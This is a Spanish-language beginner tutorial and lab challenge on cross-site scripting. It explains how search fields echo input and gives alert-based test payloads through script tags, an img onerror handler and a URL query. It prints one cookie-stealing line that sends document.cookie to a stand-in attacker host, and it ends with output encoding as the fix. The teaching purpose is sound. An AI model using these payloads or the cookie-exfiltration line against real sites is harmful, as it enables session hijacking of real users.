¿Puedes inyectar código en una web? Hoy sí

XSS significa Cross-Site Scripting. Es una forma de inyectar código malicioso en una web para que el navegador lo ejecute como si fuera parte de la página original.

⚡ Ir al laboratorio (puede tardar en levantarse)

Lo que necesitas: un navegador (Chrome o Firefox). Nada más.


¿Qué es XSS?

Cuando usas un buscador en una web, escribes algo y la página te lo muestra: “Has buscado: zapatos”. La web coge tu texto y lo pinta en pantalla.

El problema: hay webs que no revisan lo que escribes. Si en vez de texto normal metes código, el navegador lo ejecuta. Eso es XSS — consigues que una web ejecute tu código.

JavaScript es el lenguaje de programación que hace que las webs sean interactivas. Es lo que ejecuta el navegador cuando carga una página, y es lo que vamos a inyectar hoy.


¿Cómo se explota?

Busca cualquier campo de texto en la web. En vez de texto normal, escribe esto:

<script>alert('XSS')</script>

<script> le dice al navegador “esto es código, ejecútalo”. alert('XSS') hace aparecer un popup con el texto XSS.

Si aparece el popup, la web es vulnerable.

Si no aparece, prueba esto:

<img src=x onerror=alert('XSS')>

Esto crea una imagen con una URL falsa. Como no existe, falla — y al fallar, ejecuta el código del onerror. Otra forma de colarse.

También puedes probarlo desde la barra de direcciones del navegador. Añade esto al final de la URL:

?q=<img src=x onerror=alert(1)>

¿Por qué es peligroso?

El alert() no hace daño, solo demuestra que el fallo existe. Pero un atacante puede usar el mismo método para robar tu sesión.

Las webs usan cookies para saber quién eres. Una cookie es un pequeño dato que el navegador guarda cuando inicias sesión — es como tu pase de entrada. Con JavaScript se pueden leer y mandar a otro servidor:

fetch('https://servidor-del-malo.com?c=' + document.cookie)

Si el atacante te manda un enlace con XSS y lo abres, ese código roba tu cookie. Con ella puede entrar a tu cuenta sin necesitar tu contraseña.


🎯 Tu reto

Consigue que se ejecute alert('XSS') en el laboratorio.


🛡️ Cómo se protege

Antes de mostrar texto que vino del usuario, la web convierte los caracteres peligrosos:

  • <&lt;
  • >&gt;

El navegador los muestra como texto plano y nunca los ejecuta como código. Dos líneas de código, problema resuelto.


// ¿te has atascado?

🔒

Ver solución paso a paso

Haz clic para revelar

  1. Abre el laboratorio. Verás un campo de texto.
  2. Escribe <script>alert('XSS')</script> y envía.
  3. Si no aparece el popup, prueba: <img src=x onerror=alert('XSS')>
  4. Si tampoco, añade al final de la URL: ?q=<img src=x onerror=alert(1)>
  5. Cuando aparezca el popup, reto completado.